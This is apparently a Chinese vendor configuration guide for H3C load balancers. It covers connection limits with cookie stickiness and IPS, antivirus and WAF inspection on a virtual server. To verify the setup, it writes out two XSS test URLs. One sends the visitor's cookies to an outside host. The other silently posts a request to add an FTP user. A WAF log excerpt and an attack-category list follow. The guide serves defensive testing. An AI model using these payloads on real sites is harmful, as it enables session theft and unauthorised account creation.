导航栏中选择“监控>应用负载均衡>实服务器统计”,查看实服务器统计,结果如下图所示。
图8-12 实服务器统计结果
清除虚服务器和实服务器统计,100个源地址访问虚服务,源地址包含连接数限制的地址段,发起3000个连接,客户端携带实服务器Sever A的cooike,实服务器连接数不受限制,且所有连接都分配到实服务器Sever A,Sever A的连接数为3000, Sever B和Sever C的连接数为0。
导航栏中选择“监控>应用负载均衡>实服务器统计”,查看实服务器统计,结果如下图所示。
图8-13 实服务器统计结果
#
nqa template icmp t1
#
server-farm sf
real-server rs1 port 0
success-criteria at-least 1
connection-limit max 200
real-server rs2 port 0
real-server rs3 port 0
#
real-server rs1
ip address 192.168.1.1
success-criteria at-least 1
#
real-server rs2
ip address 192.168.1.2
success-criteria at-least 1
#
real-server rs3
ip address 192.168.1.3
success-criteria at-least 1
#
sticky-group cookie type http-cookie
override-limit enable
cookie insert
check all-packet
#
acl advanced 3001
rule 0 permit ip source 10.0.0.16 0.0.0.15 destination 61.159.4.100 0
#
loadbalance limit-policy lp-1
limit 1 acl 3001 per-destination per-source amount 10 10
#
virtual-server vs type http
virtual ip address 61.159.4.100
lb-limit-policy lp-1
default server-farm sf sticky cookie
sticky-sync enable
service enable
用户通过局域网连接到LB设备访问Internet,要求对经过LB的业务流量做深度报文检测,识别网络攻击和安全隐患,从而保护LB设备本身以及内网服务器的安全。
攻击PC发起XSS攻击,经过设备能够识别攻击,记录日志预警并允许放行;经LB上传病毒文件duiwaiceshi到服务器,经过LB设备能够识别出来病毒文件,丢弃并记录日志;攻击PC发起WAF攻击字符串,经设备能够识别并预警丢弃。
图9-1 深度报文检测组网图
为实现对经过LB的业务流量做深度报文检测,需要在LB设备上完成如下配置:
· 导入支持IPS/AV/WAF的license。
· 升级IPS/AV/WAF特征库到最新版本。
· 配置IPS/AV/WAF策略。
· 虚服务器引用IPS/AV/WAF策略。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 确认设备已经导入支持IPS/AV/WAF的license。
· 内容安全配置变更之后(新建、编辑、删除),需要提交才能生效。
· IPS/AV开启输出系统日志。
· WAF只支持快速日志,要开输出快速日志。
· 在下一个版本拉出的分支上系统日志的查看,要先使能威胁业务的存储空间。
在导航栏中选择“系统 > License配置,单击“”按钮,进行如下配置:
导入申请好的.ak license文件,此处不再赘述如何申请license
在导航栏中选择“系统 > 升级中心>特征库升级>,单击<新建>按钮,进行如下配置:
设备提供三种升级方式:本地升级、立即升级和定时升级。
当设备能访问DEVICE官网时,才能够使用立即升级或定时升级方式升级IPS特征库。
在导航栏中选择“对象> 应用安全>入侵防御 > 配置文件”,单击<新建>按钮,进入到新建IPS策略视图,在名称中输入自定义IPS策略名称为ips,点击<确定>即可。
· 自定义IPS策略可以设置规则例外,当规则25076添加到规则例外中,修改该规则命中后其处理动作为丢弃。
图9-3 创建IPS自定义策略ips
说明:(如下操作可按照实际需要进行配置)
default名称的IPS策略为设备默认IPS策略,不可进行修改、删除,若没有特殊IPS防御要求,可以直接在安全策略中绑定该default策略,无需配置自定义IPS策略;
在导航栏中选择“对象> 应用安全>防病毒 > 配置文件”,单击<新建>按钮,进入到新建防病毒策略视图,在名称中输入自定义防病毒策略名称为av,点击<确定>即可。
图9-4 新建防病毒配置文件
创建防病毒配置文件av,在应用例外中添加应用10010且动作为允许,在病毒例外中添加ID号的病毒特征为例外,点击“确定”。
在导航栏中选择“对象> 应用安全>Web应用防护 > 配置文件”,单击<新建>按钮,进入到新建Web应用防护视图,在名称中输入自定义Web应用防护策略名称为waf,点击<确定>即可。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为icmp,类型为ICMP的健康检测模板,如下图所示。
图9-5 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1,如下图所示。
图9-6 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,添加实服务组成员,新建实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图9-7 添加实服务器
点击<确定>,完成操作
创建实服务器rs2、rs3与创建rs1步骤相同:
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,点击添加实服务组成员,参照上图步骤创建实服务器rs2和rs3,分别配置其IPv4地址为192.168.1.2和192.168.1.3。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择TCP,61.159.4.100/32,开启虚服务功能,开启内容安全功能,web应用防护配置文件选择默认default,入侵防御配置文件选择默认default,防病毒配置文件选择默认default,如下图所示。
图9-8 新建虚服务器
点击<确定>,完成操作。
点击“提交”,完成虚服务器的配置
在导航栏中选择“系统>日志设置>威胁日志”, 入侵防御日志和防病毒日志开启“输出系统日志”
在导航栏中选择“系统>日志设置>基本配置>快速日志”, 新建日志主机
命令行还需要开启将日志快速输出到日志主机
customlog format dpi waf ---------目前web不支持
注意:下一个版本拉出的分支上要使能威胁业务的存储空间
# 攻击PC通过浏览器访问如下URL路径
http://61.159.4.100/?detail=<script>document.location.replace('http://50.0.0.50'+document.cookie);</script>
# 设备检测到该攻击流量会进行攻击拦截预警,查看IPS规则命中系统日志
在导航栏中选择“监控>安全日志>威胁日志”,可显示出如下威胁日志列表,点击查看按钮可以查看日志详情:
图9-9 IPS威胁日志
在导航栏中选择“监控>安全日志>威胁日志”,可显示出如下威胁日志列表,点击查看按钮可以查看日志详情:
攻击PC上查看上传病毒文件的结果
在攻击PC上抓包能够看到设备执行的RST重置动作:
图9-10 攻击PC上抓包能够看到设备响应的RST动作
虚服务器下的安全内容引用waf安全策略waf,攻击PC再次发起攻击
http://61.159.4.100/ehcp/index.php?op=%3Cscript%3E$.ajax({url:%27http://1.2.0.41/ehcp/index.php?op=addftpuser%26id=76%27,data:{ftpusername:%22jwxu%22,password:%22GMvHXO6%22,quota:%22100%22,upload:%221000%22,download:1000,op:%22addFtpUser%22,_insert:1},datatype:%22json%22,contentType:%22application/json;%20charset=utf-8%22,type:%27POST%27,success:function(data){}});%3C/script%3E
在3CD上查看
Apr 20 17:01:18 187.51.0.161 Apr 20 16:57:41 2020 H3C %%10WAF/4/WAF_IPV4_INTERZONE: Protocol(1001)=TCP; Application(1002)=http; SrcIPAddr(1003)=10.0.0.2; SrcPort(1004)=62556; DstIPAddr(1007)=61.159.4.100; DstPort(1008)=80; RcvVPNInstance(1042)=; SrcZoneName(1025)=--; DstZoneName(1035)=--; UserName(1113)=10.0.0.2; PolicyName(1079)=waf; AttackName(1088)=Generic_Cross_Site_Scripting(POST); AttackID(1089)=25076; Category(1090)=Vulnerability; Protection(1091)=WebServer; SubProtection(1092)=Any; Severity(1087)=MEDIUM; Action(1053)=Drop & Logging; CVE(1075)=--; BID(1076)=--; MSB(1077)=--; HitDirection(1115)=original; RealSrcIP(1100)=; SubCategory(1124)=XSS;
#
nqa template icmp icmp
#
server-farm sf1
predictor hash address source
probe icmp
success-criteria at-least 1
real-server rs1 port 0
real-server rs2 port 0
real-server rs3 port 0
#
real-server rs1
ip address 192.168.1.1
#
real-server rs2
ip address 192.168.1.2
#
real-server rs3
ip address 192.168.1.3
#
app-profile vs1585881092_vs
ips apply policy default mode protect
anti-virus apply policy default mode protect
waf apply policy waf mode protect
#
#
ips policy ips
signature override pre-defined 25076 enable drop logging
#
anti-virus policy av
exception application 10010 action alert
#
waf policy waf
action drop
signature override all drop
signature override pre-defined 25076 enable drop logging
attack-category Vulnerability sub-category CGIAttack
attack-category Vulnerability sub-category CharacterEncoding
attack-category Vulnerability sub-category CommandInjection
attack-category Vulnerability sub-category CSRF
attack-category Vulnerability sub-category DirectoryTraversal
attack-category Vulnerability sub-category FileInclude
attack-category Vulnerability sub-category FileUploadAttack
attack-category Vulnerability sub-category MemoryCorruption
attack-category Vulnerability sub-category Other
attack-category Vulnerability sub-category Overflow
attack-category Vulnerability sub-category PrivilegeEscalation
attack-category Vulnerability sub-category RemoteCodeExecution
attack-category Vulnerability sub-category ScriptInjection
attack-category Vulnerability sub-category SecurityBypass
attack-category Vulnerability sub-category SQLInjection
attack-category Vulnerability sub-category XSS
#
virtual-server vs type tcp
virtual ip address 61.159.4.100
default server-farm sf1
dpi-app-profile vs1585881092_vs
service enable
#
不同款型规格的资料略有差异, 详细信息请向具体销售和400咨询。H3C保留在没有任何通知或提示的情况下对资料内容进行修改的权利!